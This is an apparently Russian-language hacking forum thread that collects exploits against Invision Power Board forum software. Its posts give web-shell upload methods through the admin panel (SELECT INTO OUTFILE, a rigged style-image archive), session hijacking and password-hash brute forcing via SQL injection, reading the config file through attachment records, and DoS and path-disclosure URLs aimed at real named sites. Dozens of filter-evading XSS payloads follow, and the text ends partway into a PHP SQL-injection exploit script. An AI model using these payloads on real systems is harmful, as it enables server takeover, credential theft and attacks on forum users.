IPS Driver Error
There appears to be an error with the database.
You can try to refresh the page by clicking here

В эксплоите предусмотрено три режима работы.

-attack 1

Через скуль получают сессию админа.
Из настроек извлекается инфа о привязке сессии к ip-address и browser.
Если таковая привязка имеется (включено по дефолту) и админ заходил не из под прокси - атака невозможна.
В ином случае - извлекаются ip-address и browser админа и производится попытка войти под админом.
В случае успешной попытки эксплоит прописывает веб-шелл в файл языка.

Вероятность успеха атаки мала, ибо:
~ сессия имет по дефолту привязку к айпи и браузеру
~ время жизни сессии скорее всего просрочено. придется караулить админа, либо спровоцировать его зайти в админку.

Сам процесс "ожидания" в эксплоите реализован в цикле - ожидание появления новой сессии.

Пример запуска эксплойта:
php ipb235-multi.txt -attack 1 -url http://www.ipb-235.com/forum/

-attack 2

Как ни удивительно - в сессии cookie *ipb_stronghold пользователя присутствует пароль к БД.
Используя атаку по словарю, эксплоит пытается сбрутить пароль к БД из хеша сессии.
Через скуль эксплоит получает имя текущего пользователя БД.

Необходима валидная учетная запись, либо куки со сниффера.
Вероятность успеха мала и зависит в большей мере от вашего словаря и рэндомности пароля.

Пример запуска эксплойта:
php ipb235-multi.txt -attack 2 -url http://www.ipb-235.com/forum/ -ip <ВАШ_IP> -dict passwd.txt -uname mynick -pwd password

Разложим алгоритм генерации сессии:

$md5 = md5(trim($line).$this->p_sql_u);
$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
$md5 = md5($md5);

Преобразуем к:
PHP код:
md5(md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).md5($pass.$this->p_sql_u))

Тогда
~ если *member_id нашего юзера, например, 1745
~ если у нас ip, например, 192.168.5.235
~ если cookie *pass_hash, например, 12345678901234567890123456789012
~ если мы знаем заведомо\получили через SQL-inj имя текущего SQL-юзера к БД, например, sqladmin@localhost
Тогда:
md5(md5('1745-192-168-12345678901234567890123456789012'). md5($pass.'sqladmin'))


Посмотрел модули в PasswordPro - можно брутить пасс из него по маске.
Используем модуль md5(md5($salt).md5($pass))
Ставьте атаку по маске, например, как
?|?|?|?|?|?|?|?|sqladmin
где как видите в конце маски идет sql юзер БД.
Ну подмаску ?| (a-z) можете выбрать и другую, однако тройной мд5 будет аццки тормозить на широком диапазоне символов...

-attack 3

И наконец-то класическая добыча пароля пользователя + соль.
Встроенный в эксплоит брутфорс попробует перебрать найденный хеш по словарю,
хотя рекомендую перебирать чем-нить по шустрее.

php ipb235-multi.txt -attack 3 -url http://www.ipb-235.com/forum/ -dict passwd.txt

Реализован режим обхода IDS. Вобщем, автору DarkFig - большой респект.

Я немного оптимизировал код.
Максимальная скорость работы возросла в среднем в 2.5 раза.
На примере атаки #3 : оригинальному эксплоиту потребуется около 500 запросов для брута md5 хеша + соли.
Мой вариант для тойже задачи потребует не более 200
ver1.5
-----------------------
Сдесь аттач с программой :) (у кого права есть, поставьте, будте так добры )
-----------------------
PS Материал востановлен
Дата публикации: 30.08.2008, 10:50
Автор Elekt

Jokester
27.10.2008, 17:34
Автор: Elekt

Исходя из адвизори
http://acid-root.new.fr/?0:18
есть еще три других существенных бага, не используемых в эксплоите.

1) Утечка админской сессии

Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor".
Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару.

2) Отказ в обслуживании

Неправильное использование пост-инкремента в защитной функции разбора массивов.
Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все.

/index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123


соответственно чем больше скобок, тем дольше будет обработка

3) HTTP Response Splitting attacks

INFO не определен в конфиге

/admin.php?INFO[base_url]=http://phishing-hax.com/

PS Материал востановлен
Дата публикации: 02.09.2008, 09:45
Автор [B]Elekt

Jokester
27.10.2008, 17:52
Автор: Dr.Frank

Чтение файлов при помощи админки(если шелл залить не получилось).
Тестил на версиях 2.3.1 2.3.3

В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим:

select * from ibf_attachments where attach_is_image=0

Берем номер любого файла(attach_id).
Выполняем следующий запрос:

update ibf_attachments set attach_location='../conf_global.php', attach_ext='php' where attach_id=attach_id

или такой(форум иногда точки заменяет спец.символами):

update ibf_attachments set attach_location = 0x2e2e2f636f6e665f676c6f62616c2e706870, attach_ext='php' where attach_id=attach_id


и по адресу
http://forum/index.php?act=attach&type=post&id=attach_id
должен появиться файл с настройками conf_global.php

PS Материал востановлен
Дата публикации: 16.09.2008, 15:32
Автор Dr.Frank

PEHAT
30.11.2008, 19:45
DOS

http://target/index.php?autocom=store&CODE=item_effect&type=resell,BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))

brain[pillow]
04.05.2009, 00:50
Invision Power Board 3.0.0 Beta 5 Active XSS & Path disclosure

http://milw0rm.com/exploits/8538

DanST
19.08.2009, 12:28
Автор: Elekt

Invision Power Board <= 2.3.5

Multiple Vulnerabilities

Автор Elekt[/right]
Архив битый :(

Root-access
03.12.2009, 18:35
I.P.B. Раскрытие путей

http://victim.com/ipb/?&act=attach&code=attach_upload_remove

Примеры на популярных форумах:

PickUp.Ru:

http://www.pickupforum.ru/?&act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /home/pickupforum/pickupforum.ru/sources/classes/attach/class_attach.php on line 993


Fishki.Net:


http://forum.fishki.net/?act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /www/forum.fishki.net/sources/classes/attach/class_attach.php on line 993

LeverOne
17.12.2009, 18:19
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS.

Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612

Однако несколько моментов все же стоит осветить:

1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция.

2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно.

3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится.

Объясню на примере:

Возьмем структуру вложенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url]

на выходе :

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;sho wentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a>

Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза.

Теперь переделаем это в стиле скрещенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry]

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;sho wentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a>

И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет.

[*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry]


<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;sho wentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a>

Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится.

1) [*email=user@domain.com]Clickhere![*/email]

A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email]
B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email]
C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email]
D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email]
E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email]
F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email]
G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email]

2) [*url]http://www.domain.com[*/url]

A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url]
B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url]
C) [*url]http://www.domain.com[*size=7]This[*/size][*/url]
D) [*url]http://www.domain.com[*font=times]This[*/font][*/url]
E) [*url]http://www.domain.com[*color=red]This[*/color][*/url]
F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background]
G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url]
H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url]

3) [*url=http://www.domain.com]Clickhere![*/url]

A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url]
B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url]
C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url]
D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url]
E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url]
F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url]
G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url]

4) [*font=times]This[*/font]

A) [*font=times[*font=times]This[*/font]]This[*/font]
B) [*font=times[*member=admin]runs this site.]This[*/font]
C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font]
D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font]


5) [*color=red]This[*/color]

A) [*color=red[*color=red]This[*/color]]This[*/color]
B) [*color=red[*font=times]This]Th[*/font]is[*/color]
C) [*color=red[*member=admin]runs this site.]This[*/color]
D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color]
E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color]


6) [*topic=100]Clickme![*/topic]

A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic]
B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic]
C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic]
D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic]
E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic]
F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email]
G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic]
H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic]
I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic]
J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic]
K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic]

7) [*post=100]Clickme![*/post]

A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post]
B) [*post=100[*email=user@domain.com]][*/post][*/email]
C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post]
D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post]
E) [*post=100[*member=admin]runs this site.]Clickme![*/post]
F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog]
G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post]

8) [*acronym='Laugh Out Loud']lol[*/acronym]

A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym]
B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym]
C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym]
D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym]
E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym]
F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym]
G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow]
H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym]

9) [*background=red]Red_background_behind_this_text[*/background]

A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background]
B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background]
C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background]
D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background]
E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background]
F) [*background=red[*entry=100]]Red[*/entry][*/background]

LeverOne. 17.12.2009

Pashkela
19.12.2009, 04:07
Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):

вариант1:

Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'

полный путь можно посмотреть так:

->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO

шелл: http://site.ru/uploads/shell.php

PS: Нужны соответствующие права

вариант2:

Форумы->Прикрепляемые файлы->Типы файлов

жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да.

Топаем в свой профиль:

http://site.ru/index.php?app=core&module=usercp&tab=members&area=avatar

грузим аву-шелл с расширением php3 и получаем шелл по адресу:

http://site.ru/uploads/av-1.php3

====================================

Раскрытие пути:


http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1


Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry .php on line 1400


http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1


Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141


http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump=A


Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\mod ules_public\list\view.php on line 234


http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members&section=view&module=list&quickjump=A


Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\mod ules_public\list\view.php on line 235


http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members&section=view&module=list&quickjump=A


Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\mod ules_public\list\view.php on line 237


http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump[]=A


Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\mod ules_public\list\view.php on line 297

Root-access
05.01.2010, 00:25
Множественные уязвимости I.P.B.


Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.

Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&section=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda .php:

/* Build DB Array */
$db_array = array(
'qa_question' => $_POST['question'],
'qa_answers' => $_POST['answers'],
);

...

$this->DB->insert( 'question_and_answer', $db_array );




Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:

public function checkXss( $txt='', $fixScript=false )
{
//-----------------------------------------
// Opening script tags...
// Check for spaces and new lines...
//-----------------------------------------

if ( $fixScript )
{
$txt = preg_replace( "#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i s" , "&lt;script" , $txt );
$txt = preg_replace( "#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i s", "&lt;/script", $txt );
}

//-----------------------------------------
// Here we can do some generic checking for XSS
// This should not be considered fool proof, though can provide
// a centralized point for maintenance and checking
//-----------------------------------------

$txt = str_ireplace( "(j)avascript" , "\\1avascript", $txt );
$txt = str_ireplace( "alert" , "alert" , $txt );
$txt = str_ireplace( "behavior" , "behavior" , $txt );
$txt = preg_replace( "/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" , "\\1xp​ression" , $txt );
$txt = preg_replace( "/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\ \\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)* )n/is" , "\\1xp​ression" , $txt );
$txt = preg_replace( "/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\| \)*)i((\\\|\)*)n((\\\|\)*)g/is" , "moz-​binding" , $txt );
$txt = str_ireplace( "about:" , "about:" , $txt );
$txt = str_ireplace( "<body" , "&lt;body" , $txt );
$txt = str_ireplace( "<html" , "&lt;html" , $txt );
$txt = str_ireplace( "document." , "document." , $txt );
$txt = str_ireplace( "window." , "window." , $txt );

$event_handlers = array( 'mouseover', 'mouseout', 'mouseup', 'mousemove', 'mousedown', 'mouseenter', 'mouseleave', 'mousewheel',
'contextmenu', 'click', 'dblclick', 'load', 'unload', 'submit', 'blur', 'focus', 'resize', 'scroll',
'change', 'reset', 'select', 'selectionchange', 'selectstart', 'start', 'stop', 'keydown', 'keyup',
'keypress', 'abort', 'error', 'dragdrop', 'move', 'moveend', 'movestart', 'activate', 'afterprint',
'afterupdate', 'beforeactivate', 'beforecopy', 'beforecut', 'beforedeactivate', 'beforeeditfocus',
'beforepaste', 'beforeprint', 'beforeunload', 'begin', 'bounce', 'cellchange', 'controlselect',
'copy', 'cut', 'paste', 'dataavailable', 'datasetchanged', 'datasetcomplete', 'deactivate', 'drag',
'dragend', 'dragleave', 'dragenter', 'dragover', 'drop', 'end', 'errorupdate', 'filterchange', 'finish',
'focusin', 'focusout', 'help', 'layoutcomplete', 'losecapture', 'mediacomplete', 'mediaerror', 'outofsync',
'pause', 'propertychange', 'progress', 'readystatechange', 'repeat', 'resizeend', 'resizestart', 'resume',
'reverse', 'rowsenter', 'rowexit', 'rowdelete', 'rowinserted', 'seek', 'syncrestored', 'timeerror',
'trackchange', 'urlflip',
);

foreach( $event_handlers as $handler )
{
$txt = str_ireplace( 'on' . $handler, 'on' . $handler, $txt );
}

return $txt;
}


Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
[*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
Для FF:
[*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74 \70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2 f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]


Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
$txt = preg_replace( "/(j)avascript/i" , "\\1avascript", $txt );
Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
[*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29r aWUpPC9zY3JpcHQ+Cg==)]asd[/*code]


//Далее без претензии на уникальность, развиваю пост LeverOne'а (http://forum.antichat.ru/showpost.php?p=1764246&postcount=37)
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:

asd']fghasd[/acronym]

Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)

asd']fghasd[/acronym]

Pashkela
01.02.2010, 22:41
Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:

https://forum.antichat.ru/showpost.php?p=977862&postcount=10

но небольшие изменения:

1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый

2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master"

3. Идем в нашу папочку (на примере Denwer)

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

и суем туда наш любимый wso2.php

4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz

5. В архиве файлик images-master.xml

Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом

6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений

Рядом с

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

появится

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2

где будет лежать все тоже самое, плюс наш шелл

в итоге шелл будет по адресу:

http://forum.site.ru/public/style_images/master2/wso2.php

PS: не забудьте потом переместить шелл и удалить каталог master2

Готовый архив с картинками и шеллом можно взять тут (http://bug-track.ru/prog/images-master2.xml.gz) , останется только изменить циферку

adzona
20.03.2010, 23:32
1) SQL Injection в "search.php"
С помощью параметра "search_term" можно выполнить произвольные SQL запросы о сервере баз данных.
Из admin/applications/core/modules_public/search/search.php
-------------------------------------------------------------
public function searchResults()
{
/* Search Term */
$search_term = str_replace( """, '"', urldecode( $this->request['search_term'] ) );
$search_term = str_replace( "&", '&', $search_term );
...
/* Count the number of results */
$total_results = $this->search_plugin->getSearchCount( $search_term, ', $content_titles_only );
-------------------------------------------------------------
Как показано выше, представленные пользователем параметра "search_term" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в запрос HTTP, затем "urldecode ()" получит аргумент "27%", а после urldecoding оно будет " '" (одиночная кавычка).
forum/index.php?app=core&module=search&do=quick_search&search_filter_app[forums]=
содержание

admin/applications/forums/extensions/searchPlugin.php
-------------------------------------------------------------
public function getSearchCount( $search_term, $group_by='', $content_title_only=false ) {
...
{
/* Query the count */
$this->DB->build( array(
'select' => 'COUNT(*) as total_results',
'from' => array( 'posts' => 'p' ),
'where' => $this->_buildWhereStatement( $search_term,
$content_title_only ),
'group' => $group_by,
'add_join' => array(
...
$this->DB->execute();
-------------------------------------------------------------

Исходный код показывает, что потенциально небезопасных переменная "search_term" используется для построения SQL-запросов.
Очевидно, данные санитарной обработки после использования "urldecode ()" это необходимо, но в данном случае не имеется достаточных санации Данные, введенные пользователем.
Таким образом, удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации, для примера полномочия администратора.

2) SQL-инъекция в "lostpass.php"

С помощью unsanitized пользователей представленных данных в SQL запросов с помощью параметра "помощь", проверку подлинности удаленного злоумышленника может привести IP.Board выполнить произвольные SQL заявления о сервере баз данных.
From "admin/applications/core/modules_public/global/lostpass.php" line ~430
-------------------------------------------------------------
public function lostPasswordValidateForm( $msg='' ) {
...
if( $this->request['uid'] AND $this->request['aid'] )
{
$in_user_id = intval( trim( urldecode( $this->request['uid'] ) ) );
$in_validate_key = trim( urldecode( $this->request['aid'] ) );
$in_type = trim( $this->request['type'] );

...
if (! IPSText::md5Clean( $in_validate_key ) )
{
$this->registry->output->showError( 'validation_key_incorrect', 10113 );
}

if (! preg_match( "/^(?:\d){1,}$/", $in_user_id ) )
{
$this->registry->output->showError( 'uid_key_incorrect', 10114 );
}

/* Attempt to get the profile of the requesting user */
$member = IPSMember::load( $in_user_id );

if( ! $member['member_id'] )
{
$this->registry->output->showError( 'lostpass_no_member', 10115 );
}

/* Get validating info.. */
$validate = $this->DB->buildAndFetch( array( 'select' => '*', 'from' => 'validating',
'where' => "member_id={$in_user_id} and vid='{$in_validate_key}'
and lost_pass=1" ) );
-------------------------------------------------------------
Как видно выше, пользователь представленного параметром "помощи" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в GET запросе, а затем "urldecode () будет получать аргументы, как" 27% ", а после urldecoding оно будет" ' "(одиночная кавычка).

Переменная "in_validate_key" Предположим, что это будет Sanitized этой функции:
-------------------------------------------------------------
static public function md5Clean( $text ) {
return preg_replace( "/[^a-zA-Z0-9]/", "" , substr( $text, 0, 32 ) ); }
-------------------------------------------------------------
Однако, "md5Clean ()" Неправильно используется в данном случае, и поэтому оно не делает его работу, как ожидалось.

Чтобы результат удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации или обхода контроля доступа.

adzona
21.03.2010, 01:08
Объясните или (желательно ) покажите на этом примере как составить SQL запрос?
Единственное что я понял что уязвимы файлы search.php и lostpass.php

freecold
10.05.2010, 19:26
<?php
error_reporting(E_ALL);
//////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//================================================== ===================
$cli = php_sapi_name() === 'cli';
//================================================== ===================
// Die, if executed from webserver
//================================================== ===================
if(!$cli)
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Error!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "This script will not run through a webserver.<br />\n";
echo "</center></body></html>\n";
exit;
}
//================================================== ===================
// Print the awesome de.crypt.in logo
//================================================== ===================
echo "\n _ _ _ ";
echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";
echo "\n |___/|_| \n\n";
//================================================== ===================
// Check if all command line arguments were passed
//================================================== ===================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
echo "\n";
echo "NOTE: Login and password are optional, use for forums that require registration.\n";
echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
die;
}
//================================================== ===================
// Set some important variables...
//================================================== ===================
$topicname = '';
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
if(isset($argv[4])){
if(isset($argv[5])){
$user_login = $argv[4];
$user_pass = $argv[5];
}
else{
echo "Error: Password not specified with username\n";
die;
}
}
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipb_log.txt'; //Log file

if(!extension_loaded('curl'))
{
